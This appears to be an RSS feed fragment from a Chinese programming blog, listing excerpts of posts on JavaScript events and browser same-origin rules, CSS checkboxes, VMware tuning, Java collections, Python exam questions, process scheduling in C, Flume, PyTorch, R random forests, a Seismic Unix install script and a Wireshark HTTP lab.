      <description>一、学习资料 https://wangdoc.com/javascript/index.html&#xA;二、学习笔记 javascript学习笔记（2）&#xA;9、事件 1）监听函数内部的this，指向当前事件所在的那个对象。&#xA;2）JavaScript 有三种方法，可以为事件绑定监听函数：&#xA;①HTML 的 on- 属性：只会在冒泡阶段触发。完整的监听代码（doSomething () ）。不利于代码分工，因此不推荐使用。&#xA;②元素节点的事件属性：只会在冒泡阶段触发。值是函数名（doSomething）。缺点在于，同一个事件只能定义一个监听函数，也就是说，如果定义两次onclick属性，后一次定义会覆盖前一次。因此，也不推荐使用。&#xA;③EventTarget.addEventListener()：同一个事件可以添加多个监听函数。能够指定在哪个阶段（捕获阶段还是冒泡阶段）触发监听函数。除了 DOM 节点，其他对象（比如window、XMLHttpRequest等）也有这个接口，它等于是整个 JavaScript 统一的监听函数接口。推荐！&#xA;3）事件的传播：捕获阶段-》目标阶段-》冒泡阶段&#xA;4）事件的代理：父元素统一处理子元素的事件（因为冒泡向上传播）&#xA;5）如果希望事件到某个节点为止，不再传播，可以使用事件对象的stopPropagation方法。&#xA;6）如果想要彻底取消该事件，不再触发后面所有click的监听函数，可以使用stopImmediatePropagation方法。&#xA;7）事件的原始触发节点（Event.target），事件当前正在通过的节点（Event.currentTarget）。e.currentTarget总是等同于监听函数内部的this。&#xA;8）点击鼠标触发顺序：mousedown、mouseup、click、dblclick&#xA;9）mouseover事件和mouseenter事件，都是鼠标进入一个节点时触发。两者的区别是，mouseenter事件只触发一次，而只要鼠标在节点内部移动，mouseover事件会在子节点上触发多次。&#xA;10）如果用户一直按键不松开，就会连续触发键盘事件，触发的顺序如下：&#xA;keydown&#xA;keypress（有值才会触发这个事件）&#xA;keydown&#xA;keypress&#xA;…（重复以上过程）&#xA;keyup&#xA;11）error事件有一个特殊的性质，就是不会冒泡。所以，子元素的error事件，不会触发父元素的error事件监听函数。&#xA;12）input事件在元素的值发生变化后立即发生，而change在元素失去焦点时发生，而内容此时可能已经变化多次。也就是说，如果有连续变化，input事件会触发多次，而change事件只在失去焦点时触发一次。&#xA;13）拖拉过程只触发以上这些拖拉事件，尽管鼠标在移动，但是鼠标事件不会触发。&#xA;10、浏览器模型 1）脚本的执行顺序由它们在页面中的出现顺序决定，加载顺序是并行的。&#xA;2）一般来说，如果脚本之间没有依赖关系，就使用async属性，如果脚本之间有依赖关系，就使用defer属性。如果同时使用async和defer属性，后者不起作用，浏览器行为由async属性决定。&#xA;3）Cookie 不是一种理想的客户端储存机制。它的容量很小（4KB），缺乏数据操作接口，而且会影响性能。客户端储存应该使用 Web storage API 和 IndexedDB。只有那些每次请求都需要让服务器知道的信息，才应该放在 Cookie 里面。&#xA;4）浏览器访问某个路径之前，就会找出对该域名和路径有效，并且还没有到期的 Cookie，一起发送给服务器。&#xA;5）两个网址只要域名相同和端口相同（不要求协议相同），就可以共享 Cookie。&#xA;6）cookie同时指定了Expires和Max-Age，那么Max-Age的值将优先生效。&#xA;7）cookie规避同源限制：如果两个网页一级域名相同，只是次级域名不同，浏览器允许通过设置document.domain共享 Cookie。&#xA;8）对于完全不同源的网站，目前有两种方法，可以解决跨域窗口的通信问题：片段识别符、&#xA;跨文档通信API（postMessage）&#xA;9）除了架设服务器代理（浏览器请求同源服务器，再由后者请求外部服务），AJAX有三种方法规避同源限制：&#xA;①JSONP：callback，只能发GET请求。JSONP 的优势在于支持老式浏览器，以及可以向不支持 CORS 的网站请求数据。&#xA;②WebSocket：Origin&#xA;③CORS：允许任何类型的请求。实现 CORS 通信的关键是服务器。只要服务器实现了 CORS 接口，就可以跨域通信。</description>
    </item>
    <item>
      <title>html css 实现自定义复选框 checkbox</title>
      <link>https://bchobby.github.io/posts/d32fcf7d141db6a078b11faf2cf97206/</link>
      <pubDate>Mon, 11 May 2020 17:55:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d32fcf7d141db6a078b11faf2cf97206/</guid>
      <description>html 默认的复选框样式很难看，于是想着自定义实现checkbox样式&#xA;思路是：通过字体图标实现&#xA;效果图：&#xA;步骤：&#xA;1 https://www.iconfont.cn/ 字体图标网站，选择复选框 选中和未选中时的图标，并下载下来&#xA;2 下载下来解压后文件如下图，把iconfont.ttf 复制到 工程 /font/iconfont.ttf 3 html 页面 引入字体文件&#xA;@font-face {font-family: &#34;iconfont&#34;; src:url(&#39;/fonts/iconfont.ttf?t=2020051102&#39;) format(&#39;truetype&#39;); } 上面步骤完成了字体图标的准备，下面开始 实现复选框的样式&#xA;4 去除checkbox自带边框 input[type=checkbox]{ background: none !important; background-color: transparent !important; outline: none !important; -webkit-appearance: none !important; } 5 设置选中和未选中时图标 input[type=checkbox]:checked:before { content: &#39;\edaf&#39;; font-size: 23px; color: #e4393c; font-family: &#34;iconfont&#34; !important; -webkit-font-smoothing: antialiased; } input[type=checkbox]:before{ content: &#39;\e62c&#39;; font-size: 23px; color: #AAAAAA; font-family: &#34;iconfont&#34; !important; -webkit-font-smoothing: antialiased; } 6 说明 伪类 before里的 content: &#39;\e62c&#39; 用的是字体图标，</description>
    </item>
    <item>
      <title>vmware虚拟机运行速度卡慢原因分析及解决办法大全</title>
      <link>https://bchobby.github.io/posts/45d351014f8c960a3bf6f69b3363f190/</link>
      <pubDate>Mon, 11 May 2020 15:34:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45d351014f8c960a3bf6f69b3363f190/</guid>
      <description>转载自品略图书馆 http://www.pinlue.com/article/2020/01/0915/369887500707.html&#xA;虚拟机能在现有的系统上虚拟出多个独立的系统，尤其是开发人员测试人员经常会使用，但是大家经常对虚拟机的运行速度不甚满意，甚至经常很恼火。虚拟机速度慢有很多原因，需要根据自己的情况具体分析，本文根据笔者的使用经验将从17个方面进行分析和总结，以期能尽量优化虚拟机的运行速度。&#xA;由于本专题文章较长，分成系列一和系列二两个部分，日后系列二发布的时候会在文章末尾添加跳转链接以方便阅读（戳这里）。&#xA;1、 主机本身的硬件配置&#xA;首先任何一种虚拟机对真机来说都是一个比较吃资源的大型任务系统，如果你的真机本身运行速度都很一般，那你再装一个虚拟机简直就是无本之木啊，哪有富裕的资源给虚拟机用呢？&#xA;真机CPU最好是双核2.5G以上，内存最少也得4G以上，最好8G以上，硬盘空间其实没什么太大影响够用就行，但硬盘速度要跟得上，如果普通机械硬盘最起码也得是7200RPM以上的，硬盘传输率最好在200MB/s以上。&#xA;当然每种虚拟机系统对硬件的要求是不一样的，比如装个win95系统，资源占用很少的，但如果装个win10企业版，硬件要求肯能就要翻好几番了。所以主机本身的配置肯定是越高越好，主机（真机）的配置是对虚拟机性能影响最大的因素。当然了，这个因素也是最不好解决的，因为要花钱啊~ ~&#xA;对于那些常年使用虚拟机的，建议还是要适当花点钱搞一下配置的。要不然硬伤太大了，谁也救不了你~~&#xA;2、 虚拟化技术硬件加速&#xA;这个功能需要主板支持的，现在主流的主板都是支持该功能的，如果你的主板不支持我只能说你的主板可能该换了。主板支持的同时虚拟化软件也得支持才行，现在的vmware版本都是支持该技术的，不过不同vmware对该技术的利用程度是不一样的。&#xA;首先在主板BIOS中开启该功能，不同的主板开启路径略有不同，但基本上都在“高级设置”“cpu设置”“虚拟化技术”类似这样的地方，然后把disable改成enable就可以了。最后别忘了按F10保存重启。&#xA;下图是华硕主板的设置路径，拍的不是很清楚，仅供参考：&#xA;然后在vmware里进行相应的设置，首先打开vmware点击菜单“虚拟机”，点其中的“设置”，如下所示：&#xA;打开设置界面如下，在“硬件”里选中“处理器”，在右边“虚拟化引擎”中勾选相应支持的虚拟化技术。&#xA;3、 Vmware的设置优化&#xA;1）Vmware本身也有很多设置会影响到速度性能，首先按上面介绍的方法进入到虚拟机的设置界面，看下面的图。这个是虚拟机内存，一般情况2G内存是够用的，但你要是在里面玩游戏或运行大型系统，比如数据库系统，代理服务器，媒体服务器这些系统都是比较吃内存的，那可能就不够了。&#xA;内存富裕的情况下，可以设置大一点，但不要超过蓝色箭头处的值。如果是技术人员自己可以到虚拟系统看看内存到底够不够，下面以Ubuntu为例给出简单的说明。从图中可以看出一个空的Ubuntu16已经占用了1.1G内存。一旦内存用完速度会明显变慢的。&#xA;2）继续往下设置，在虚拟机设置面板上选择“显示器”，右边“加速3D图形”一定要选上，除非你只用文字窗口不用图形界面，这里是说linux类的系统，windows系统必须选上。&#xA;图形内存一般情况768M也是够用的，玩游戏那肯定是不够的，另外要注意一个问题这里的内存是与前面的2G内存共享的，也就是这里用多了，那边实际上就会变少，虚拟机中的实际应用占用资源多了也会挤占这里的图形内存，一当出现这种情况速度必然会变慢。解决办法只能是增大内存（增大内存的规则请参考上文）。总之内存富裕的情况下可以适当多分一点。具体的数据分析也可以自己到虚拟机系统里去看。&#xA;3）继续往下设置，在虚拟机设置面板上切换到“选项”标签，如下图所示。将“抓取输入内容”调为高，同时可以禁用内存页面修正（但是要注意一旦勾选这项，极少概率会发生系统异常，当发生异常请取消这一项）。&#xA;4）继续往下设置，在vmware界面上点菜单“编辑”，然后点“首选项”，如下所示：&#xA;在首选项界面选中“优先级”，如下所示。抓取内容优先级设为高，快照处理勾选上后台处理。&#xA;5）继续往下设置，在首选项界面选中“内存”，如下所示。右边第一方框表示可以给虚拟机用的内存，这个值尽量设大一点，但是，要注意不能超过真机的空闲内存，否则将会发生不可预见的后果。下面三个选项选第一项，表示虚拟机将尽量使用真机留出来的的内存。&#xA;4、 删除不必要的配置项&#xA;这个道理就像你在真机上装了很多软件，有很多软件用几天就不用了，但是你不卸载不清理，时间长了你装的软件越来越多，你就发现你电脑越来越卡。既然我们要优化那就做彻底一点把没必要的都删了。虽然这一项的优化效果不会那么明显，但是一只蚂蚁也有肉的啊~ ~&#xA;1）首先按上面介绍的方法进入到虚拟机的设置界面，看下面的图。&#xA;图中两项对绝大多数人来说都是没用的，可以删掉，你也没必要在虚拟机中去打印，要打印你拷贝到真机中来打印就好了。其他的声卡、USB控制器根据情况也可以删掉，反正我都删掉了。&#xA;2）继续在设置界面选中“CD/DVD”去掉右边的勾。&#xA;3）继续在设置界面选中“USB控制器”去掉右边的勾（如果你已经删掉USB了，就当我没说）。&#xA;4）继续在设置界面选中“声卡”去掉右边的勾（如果你已经删掉声卡了，就当我没说）。&#xA;5、 硬盘存放问题、碎片问题&#xA;硬盘问题或者说虚拟机文件的存放问题，牵扯到的因素也很多。虚拟机系统的底层是一个文件实时处理系统，虚拟机中的一切都对应到文件中某些数据，对IO的还是有要求的。&#xA;1）如果你有两块硬盘，建议单独将虚拟机存在另一块中，不要跟真机系统混用一块。如果有条件给虚拟机单独配置一个SSD固态硬盘，那效果还是很明显的。对于经常使用虚拟机的人建议还是单独配一块SSD，毕竟一个普通虚拟机也就20-30G，一块SSD能装好几个虚拟机了。&#xA;2）如果没有SSD最好用SATA3最起码SATA2，如果 SCSI最好是一万转的，普通机械硬盘如果低于7200转，本人的经验认为硬伤太大，请自求多福~ ~&#xA;3）如果只有一块硬盘建议单独弄一个区给虚拟机用，一个干净连续的区对速度是很有好处的。&#xA;4）如果你不方便拿一个区出来，那请你在装虚拟机之前把磁盘碎片好好整理两边。&#xA;5）如果你连碎片也不愿意整理，爷，请您略过本文，你的系统慢点就慢点吧，别管它了……&#xA;6）另外，虚拟机本身也是可以整理磁盘碎片的，在虚拟机设置界面选中“硬盘”，点击右边的“碎片整理”</description>
    </item>
    <item>
      <title>ArrayList和LinkedList区别</title>
      <link>https://bchobby.github.io/posts/16f64735863117b469e5486fe952755f/</link>
      <pubDate>Mon, 11 May 2020 12:33:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16f64735863117b469e5486fe952755f/</guid>
      <description>ArrayList和LinkedList区别是什么？&#xA;这是一个非常常见的面试题。&#xA;区别如下：&#xA;数据结构实现： ArrayList 底层是动态数组的数据结构实现，而 LinkedList 是双向链表的数据结构实现。&#xA;随机访问效率： ArrayList 比 LinkedList 在随机访问的时候效率要高。&#xA;ArrayList为数组实现，数组在存储数据时是按顺序存储的，存储数据的内存也是连续的，所以寻址读取数据比较容易，直接通过下标访问数据，时间复杂度为O(1)。LinkedList 是线性的数据存储方式，存储数据的内存是不连续的，所以需要移动指针从前往后依次查找。时间复杂度为O(n)。 增加和删除效率： 在尾部增加删除效率，两者开销是一样的。&#xA;在非首尾的增加和删除操作，LinkedList 要比 ArrayList 效率要高。&#xA;ArrayList 增删操作要影响数组内的其他数据的下标。因为这些存储数据的内存是连续的，要插入和删除元素，则要插入或删除的位置之后的所有元素都要往后移动或往前移动一个位置，效率很慢。对于LinkedList来说，不需要移动其他元素，只需将要插入的元素与左右两元素连接起来就好了。 综合来说： 在需要频繁读取集合中的元素时，更推荐使用 ArrayList，&#xA;而在插入和删除操作较多时，更推荐使用 LinkedList。</description>
    </item>
    <item>
      <title>软通动力机考题目汇总</title>
      <link>https://bchobby.github.io/posts/750c70188b33ebb7234a9cd67523fb56/</link>
      <pubDate>Sun, 10 May 2020 21:40:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/750c70188b33ebb7234a9cd67523fb56/</guid>
      <description>软通动力机考题目汇总 编程题整理的很少，编程是一个仁者见仁智者见智的过程，按照需求来，最终把需求实现就ok了。&#xA;一、选择题&#xA;1．下列选项不能创建一个字典的是( C ):&#xA;A dict ={ }&#xA;B dict={ 3:5 }&#xA;C dict={ [3,4] }: ”test” }&#xA;D dict={ (1,2) : ”test” }&#xA;2．关于python内存管理，下列说法错误的是( B )：&#xA;A 变量不必事先声明&#xA;B 变量无需实现创建和赋值而直接使用&#xA;B 变量无需指定类型&#xA;D 可以用del 释放资源&#xA;3. 下列哪个语句在Python中是非法的？（ B ）&#xA;A、x = y = z = 1 B、x = (y = z + 1)&#xA;C、x, y = y, x D、x += y&#xA;4. 下面哪个不是Python合法的标识符（ B ）&#xA;A、int32 B、40XL C、self D、name</description>
    </item>
    <item>
      <title>操作系统进程调度（动态优先级调度算法---ready、waiting、running三态）</title>
      <link>https://bchobby.github.io/posts/47dd243deadbe3d835ca7bfa16f8828b/</link>
      <pubDate>Sun, 10 May 2020 12:00:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47dd243deadbe3d835ca7bfa16f8828b/</guid>
      <description>运行环境为 Ubuntu，Linux系统，C语言 本算法思想：&#xA;首先创建进程的时候，就按照优先级高低把进程插入正确的顺序中。&#xA;之后的调度：运行完一个进程时间片，重新衡量它的优先级并插入到合适的地方。&#xA;一开始老师给的参考代码是只有ready和running态（最后面也贴出了此代码）；老师做实验让我们加入waiting态，最好的方法应该是要把waiting态单独放在一个队列中，我当时觉得太麻烦了，就想直接放在末尾，奈何我想的太简单了，直接放末尾也超级麻烦，打算后期有时间写一下把waiting态单独放在队列中的代码！！！！！！&#xA;要考虑很多东西：&#xA;1.如何保证waiting态始终在末尾？答：每次重新衡量running态进程时，必须要绕过waiting态，不管waiting态的优先级多高，放在waiting态前面。&#xA;2.如何保证唤醒的进程重新插入队列？答：先把该唤醒进程摘取出来，再按照优先级插入。还要考虑队列中是否只剩下waiting态的进程，专门加一个if条件，还有执行操作。&#xA;//三态（ready/running/waiting） #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;string.h&amp;gt; #include &amp;lt;memory.h&amp;gt; #include &amp;lt;unistd.h&amp;gt; #include &amp;lt;termios.h&amp;gt; #include &amp;lt;fcntl.h&amp;gt; typedef struct pcb { int pid; /*Process ID*/ int prior; /*进程优先级*/ char status[10]; /*状态:ready,running,waiting*/ int time; //运行需要的时间 struct pcb *next; }PCB; FILE *fp = NULL; int sort(PCB **pstPCBHead,int *iNumProc); int printProc(PCB *pstPCBHead); int kbhit(void); int insert_waiting(PCB **pstPCBHead); int insert_ready(PCB **pstPCBHead,PCB **pstPCBNode); int main() { int iNumProc = 0; //进程的数量 int i = 0; PCB *stPCBHead = NULL; //头进程 PCB *stPCB = NULL; //链表指针 PCB *stPCBFront = NULL; //进程前驱 PCB *stPCBNode = NULL; char filename[128]; memset(filename,0x00,sizeof(filename)); //初始化文件内容 //sprintf(filename,&#34;</description>
    </item>
    <item>
      <title>Flume拦截器-UUID拦截器</title>
      <link>https://bchobby.github.io/posts/a91dff755ecb7945cbc5cc8961dbe713/</link>
      <pubDate>Sun, 10 May 2020 08:11:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a91dff755ecb7945cbc5cc8961dbe713/</guid>
      <description> 1.uuid.conf a1.sources = r1 a1.sinks = k1 a1.channels = c1 a1.sources.r1.type = exec a1.sources.r1.channels = c1 a1.sources.r1.command = tail -F /opt/plus a1.sources.r1.interceptors = i1 #type的参数不能写成uuid，得写具体，否则找不到类 a1.sources.r1.interceptors.i1.type = org.apache.flume.sink.solr.morphline.UUIDInterceptor$Builder #如果UUID头已经存在,它应该保存 a1.sources.r1.interceptors.i1.preserveExisting = true a1.sources.r1.interceptors.i1.prefix = UUID_ #如果sink类型改为HDFS，那么在HDFS的文本中没有headers的信息数据 a1.sinks.k1.type = logger a1.channels.c1.type = memory a1.channels.c1.capacity = 1000 a1.channels.c1.transactionCapacity = 100 a1.sources.r1.channels = c1 a1.sinks.k1.channel = c1 2.启动命令： bin/flume-ng agent -c conf/ -f jobconf/uuid.conf -n a1 -Dflume.root.logger==INFO,console </description>
    </item>
    <item>
      <title>文本匹配论文及pytorch版复现（一）：DRCN</title>
      <link>https://bchobby.github.io/posts/c10cf8d76c10d06d61f14e3f335d4ecd/</link>
      <pubDate>Fri, 08 May 2020 22:08:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c10cf8d76c10d06d61f14e3f335d4ecd/</guid>
      <description>一、模型&#xA;1、模型总图&#xA;2、实施细则&#xA;二、相关公式&#xA;1、词表示层：字符卷积cp，静态预训练词嵌入ep（fix），可训练预训练词嵌入ep（tr）&#xA;fp代表，两句中字是否在另一句中出现，若是为1，若否为0&#xA;2、层次RNN和互注意力机制&#xA;原始输入x，通过RNN获取隐层表示h，将两句的隐层表示hi，hj通过互注意力机制，获取注意力表示ai，aj&#xA;3、自动编码器auto-encoder&#xA;全连接层，将高维度表示转化为低维度表示&#xA;4、交互层和分类层&#xA;More specifically, if the output of the final RNN layer is a 100d vector for a sentence with 30 words, a 30 × 100 matrix is obtained which is max-pooled column-wise such that the size of the resultant vector p or q is 100.&#xA;将p，q向量通过maxpooling获取特征。再进入如下融合&#xA;最终表示&#xA;最终通过线性变换和激活函数，得到输出结果。&#xA;三、代码实现&#xA;1、模型model.py&#xA;from torch import nn, tensor import numpy as np import torch import joblib # 总体模型 class DRCN(nn.</description>
    </item>
    <item>
      <title>js代码如何断点debug调试</title>
      <link>https://bchobby.github.io/posts/c2d939697c3c92459bc422fdf753672e/</link>
      <pubDate>Fri, 08 May 2020 17:11:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2d939697c3c92459bc422fdf753672e/</guid>
      <description>介绍的过程还是以一个测试例子来演示，这样更直观也更容易理解&#xA;使用谷歌浏览器打开一个测试的html文件，里面包含简单的js代码（只做演示）&#xA;按F12打开网页调试工具，默认打开的是Elements，显示的是网页标签元素，如下图&#xA;给js代码打断点，首先需要找到js资源文件，选择Source的tab标签，出现资源文件目录，选择对应的js代码文件&#xA;在js代码文件左侧栏单击可以添加断点，再点击可以移除断点&#xA;断点添加完成之后，F5刷新浏览器，可以看到代码执行到断点位置停了下来。光标放在变量名上，可以显示出变量值&#xA;还可以选择一个表达式，可以直接显示出这个表达式执行的结果&#xA;点击右侧单步跳转，可以逐行调试，也可以点击进入某个函数方法内部，可以从某个函数方法直接跳出，也可以点击第一个按钮，直接跳转到下一个断点或直接结束。下方可以看到断点的详细信息，如监控变量、调用栈、事件等。如下图所示</description>
    </item>
    <item>
      <title>Seismic Unix安装</title>
      <link>https://bchobby.github.io/posts/4d73ee2ae998708e37bc3703f6702af6/</link>
      <pubDate>Fri, 08 May 2020 12:12:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d73ee2ae998708e37bc3703f6702af6/</guid>
      <description>Seismic Unix安装 自己写的一键安装的脚本 从GitHub上下载后安装&#xA;其实从GitHub上下载后，配置环境变量应该直接就可以用了，脚本也经常报错，目前没时间改了，主要是自己用来复制代码方便。。。。&#xA;似乎segd模块在Ubuntu 18.04版本上会报错，只能在16.04用（20200516尝试，在Ubuntu18.04上，segd模块会安装失败，Ubuntu16.04上无问题，并且从16.04命令行升级至18.04，segd模块仍然可用,继续升级至ubuntu20.04，segd模块可用; 20211111尝试，在Ubuntu20.04上，segd模块不可安装）&#xA;在centos7和Redhat 7.4,7.9版本上均可正常安装，在Redhat8.1和8.4版本上，不能正常安装。&#xA;#!/bin/sh # Install su on Ubuntu16.04LTS from github # Zhangkun #update source echo &#34; ****** update source ******&#34; sudo apt update echo &#34; ****** install git ****** &#34; sudo apt install git make -y echo &#34;******install desired components&#34; # 实际上可以直接把这几个依赖包一起安装了，但是libmotif4包好像没了，经常报错，就还是单独输入了，加上-y省的再点确认 #sudo yum install gcc gcc* libx* openmotif openmotif* freeglut-devel libXt-devel-1.1.5-3.el7.x86_64 #centos7.7 和 Redhat7 下需要安装的依赖 #sudo yum install gcc gcc* libx* openmotif openmotif* freeglut-devel libXt-devel* -y #centos8 和 Redhat8下需要安装的依赖（安装失败） # sudo apt install libx11-dev libxt-dev gfortran freeglut3-dev libxmu-dev libxi-dev libc6 libxt6 libmotif-dev csh -y sudo apt install libx11-dev -y sudo apt install libxt-dev -y sudo apt install gfortran -y sudo apt install freeglut3-dev -y sudo apt install libxmu-dev libxi-dev -y sudo apt install libc6 -y sudo apt install libmotif4 # 这步经常报错，可以不安装 sudo apt install libxt6 -y sudo apt install x11proto-print-dev -y sudo apt install libmotif-dev -y sudo apt install csh -y #make installation directory echo &#34;</description>
    </item>
    <item>
      <title>R语言-随机森林整理（自留）</title>
      <link>https://bchobby.github.io/posts/78f902604a20d8eb52f76c74cb39e0db/</link>
      <pubDate>Thu, 07 May 2020 17:21:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78f902604a20d8eb52f76c74cb39e0db/</guid>
      <description>这里写自定义目录标题 randomForest重要参数解释其他参数变量的重要性Do MDS on 1 - proximity查看节点数预测ROC曲线 randomForest重要参数解释 Ntree：森林中树的个数，默认500&#xA;Mtry：每棵树（每个节点？）使用的特征个数，默认为2&#xA;Importance：默认false，是否计算变量的特征重要性&#xA;Proximity:是否计算各观测之间的相似性&#xA;set.seed(71) iris.rf &amp;lt;- randomForest(Species ~ ., data=iris, importance=TRUE ,mtry=3, proximity=TRUE) #importance参数是看样本重要性的，proximity是样本之间距离 print(iris.rf) 其他参数 这里参考：原文&#xA;formula指定模型的公式形式，类似于y~x1+x2+x3…;data指定分析的数据集；subset以向量的形式确定样本数据集；na.action指定数据集中缺失值的处理方法，默认为na.fail，即不允许出现缺失 值，也可以指定为na.omit，即删除缺失样本；x指定模型的解释变量，可以是矩阵，也可以是数据框；y指定模型的因变量，可以是离散的因子，也可以是连续的数值，分别对应于随机森林的分类模型和预测模型。这里需要说明的是，如果不指定y值，则随机森林将是一个无监督的模型；xtest和ytest用于预测的测试集；ntree指定随机森林所包含的决策树数目，默认为500；mtry指定节点中用于二叉树的变量个数，默认情况下数据集变量个数的二次方根（分类模型）或三分之一（预测模型）。一般是需要进行人为的逐次挑选，确定最佳的m值；replace指定Bootstrap随机抽样的方式，默认为有放回的抽样classwt指定分类水平的权重，对于回归模型，该参数无效；strata为因子向量，用于分层抽样；sampsize用于指定样本容量，一般与参数strata联合使用，指定分层抽样中层的样本量；nodesize指定决策树节点的最小个数，默认情况下，判别模型为1，回归模型为5；maxnodes指定决策树节点的最大个数；importance逻辑参数，是否计算各个变量在模型中的重要性，默认不计算，该参数主要结合importance()函数使用；proximity逻辑参数，是否计算模型的临近矩阵，主要结合MDSplot()函数使用；&#xA;-oob.prox是否基于OOB数据计算临近矩阵；norm.votes显示投票格式，默认以百分比的形式展示投票结果，也可以采用绝对数的形式；do.trace是否输出更详细的随机森林模型运行过程，默认不输出；keep.forest是否保留模型的输出对象，对于给定xtest值后，默认将不保留算- 法的运算结果 变量的重要性 变量的重要性：&#xA;在随机森林中变量的重要性计算时通过将相应变量替换成一列随机的数后，计算模型准确率或者GINI系数的降低。&#xA;上图的意思是（0,1分类）：0：表示变量替换后对分类为0的数据的影响；1：表示表示变量替换后对分类为1的数据的影响；MeanDecreaseAccuracy：表示变量替换后准确率的下降；MeanDecreaseGini：表示变量替换后GINI系数的降低。数值越大表示变量越重要。&#xA;像下图，如果是iris数据集有三类，那么就是一共5列，前三列是对每一列的影响。&#xA;round(importance(iris.rf), type=2) #type=1是以准确率递减方法得到维度重要性值。type=2为基尼系数方法 #直方图直观查看系数重要性，下边两个好像没啥区别 varImpPlot(iris.rf, main = &#34;variable importance&#34;) varImpPlot(iris.rf, sort=TRUE,n.var=nrow(iris.rf$importance), main = &#34;variable importance&#34;) Do MDS on 1 - proximity 调用cmdscale 函数进行样本之间的距离，proximity 是样本之间的相似度矩阵，所以用1减去之后得到样本的类似距离矩阵的一个矩阵。&#xA;iris.mds &amp;lt;- cmdscale(1 - iris.rf$proximity, eig=TRUE) 在iris.mds 中points可以看做每个样本映射到2维空间中的坐标&#xA;head(iris.mds$points) #画散点图可以看一下分类情况 plot(iris.</description>
    </item>
    <item>
      <title>利用Wireshark软件抓包深入分析HTTP，Web缓存。加计算机网络课后实验</title>
      <link>https://bchobby.github.io/posts/b9cceac4ae8e2e4a966c0656b8f7f963/</link>
      <pubDate>Thu, 07 May 2020 16:46:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9cceac4ae8e2e4a966c0656b8f7f963/</guid>
      <description>Wireshark软件的下载 为了运行Wireshark，您需要一台支持Wireshark和libpcap或WinPCap（这个在一定要安装）分组捕获库的计算机。当您安装Wireshark时，如果您的操作系统中未安装libpcap软件，它将会自动安装。有关支持的操作系统和下载站点的列表，请访问http://www.wireshark.org/download.html&#xA;Wireshark软件的启动 运行Wireshark&#xA;当您运行Wireshark程序时，您将看到一个类似下面的启动界面：&#xA;选择你要抓取的接口，如果是使用以太网上网就选择对应的接口。双击打开就开始进行抓包了。&#xA;HTTP和Web缓存的理论基础 HTTP中文名超文本传输协议（HyperText Transfer Protocol）,是web的应用层协议，使用TCP作为它的支撑运输协议，因为http请求对于数据的可靠性要求比较高所以选择TCP而不选择UDP进行传输。&#xA;HTTP连接的过程：第一步HTTP客户端进程向目标服务（www.qq.com）发起一个TCP连接，由TCP套接字来完成。&#xA;第二步：HTTP客户端（一般是你自己所使用的浏览器）经它的套接字向服务器发送一个HTTP请求报文。&#xA;第三步：HTTP服务器进程经由它的套接字接收请求报文，从自己的存储器里或者磁盘里检索出你所需要的内容（www.qq.com)，封装成HTTP响应报文，并通过套接字向HTTP客户端。&#xA;第四步：HTTP服务器断开TCP连接。&#xA;第五步：HTTP客户端接受到响应报文后，TCP连接关闭。然后你的客户端即浏览器提取HTML文件，一个HTTP请求流程到此结束。&#xA;HTTP请求报文&#xA;HTTP响应报文&#xA;抓包分析 1.基本HTTP GET/response交互我们开始探索HTTP，方法是下载一个非常简单的HTML文件 非常短，并且不包含嵌入的对象。&#xA;启动Wireshark数据包嗅探器，在display-filter-specification窗口中输入“http”（只是字母，不含引号标记），这样就在稍后的分组列表窗口中只捕获HTTP消息。（我们只对HTTP协议感兴趣，不想看到其他所有的混乱的数据包）。&#xA;稍等一会儿（我们将会明白为什么不久），然后开始Wireshark数据包捕获。&#xA;在浏览器中输入以下内容 http://gaia.cs.umass.edu/wireshark-labs/HTTP-wireshark-file1.html，或直接复制这个链接搜索， 您的浏览器应显示非常简单的单行HTML文件。停止Wireshark数据包捕获。&#xA;在这里我们访问了书上提供的一个简单的网页。&#xA;2.在display-filter-specification窗口输入http,显示所抓到的http&#xA;3.双击第一行具体分析&#xA;GET报文的分析&#xA;我们发现抓取的报文中&#xA;GET /wireshark-labs/HTTP-wireshark-file1.html HTTP/1.1\r\n，与书上的报文一一对应。&#xA;GET报文比较简单，接下来看一下服务器回复的报文，多了服务器发送的HTML文件。&#xA;至此我们了解了整个请求和回复的过程。要注意的是在请求之前，客户端先要与服务器进行TCP连接有一个三次握手的过程。&#xA;Web缓存的概念 Web缓存（或HTTP缓存）是用于临时存储（缓存）Web文档（如HTML页面和图像），以减少服务器延迟的一种信息技术。Web缓存系统会保存下通过这套系统的文档的副本；如果满足某些条件，则可以由缓存满足后续请求。 Web缓存系统既可以指设备，也可以指计算机程序。&#xA;从上面一个例子来讲，假设我们连续输入&#xA;http://gaia.cs.umass.edu/wireshark-labs/HTTP-wireshark-file1.html，然后再利用抓包软件来分析这两次的请求与回复报文是否一样？我们会有惊奇的发现&#xA;回复的报文中不再是HTTP/1.1 200 OK (text/html)，而是 HTTP/1.1 304 Not Modified ，这个是什么意思的？Modified是改进修改的意思，Not Modified意思是服务器告诉客户端你请求的HTML并没有改变，请从Web缓存中或者代理服务器中得到。我们从报文中可以看到此时服务器并没有向客户端发送HTML文件。可以与第一次所抓到的报文做对比。!&#xA;所以当我们对某一个服务器发出连续的HTTP请求时，如果服务器检查资源没有被修改就回复304 Not Modified,直接从本地缓存中调出数据，方便快捷。&#xA;优点：缓存的优点通过缓存可以减少冗余的数据传输，从而达到节省流量的效果。缓存还能够缓解带宽的瓶颈问题和瞬间拥塞问题。加载页面的时候不需要更多的带宽，对原始服务器的要求也降低了。缓存降低了距离延时， 因为从较远的地方加载页面会更慢一些。</description>
    </item>
    <item>
      <title>C语言简答题汇总</title>
      <link>https://bchobby.github.io/posts/38bb3e5115889ca7587c48e53eec903a/</link>
      <pubDate>Thu, 07 May 2020 16:08:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38bb3e5115889ca7587c48e53eec903a/</guid>
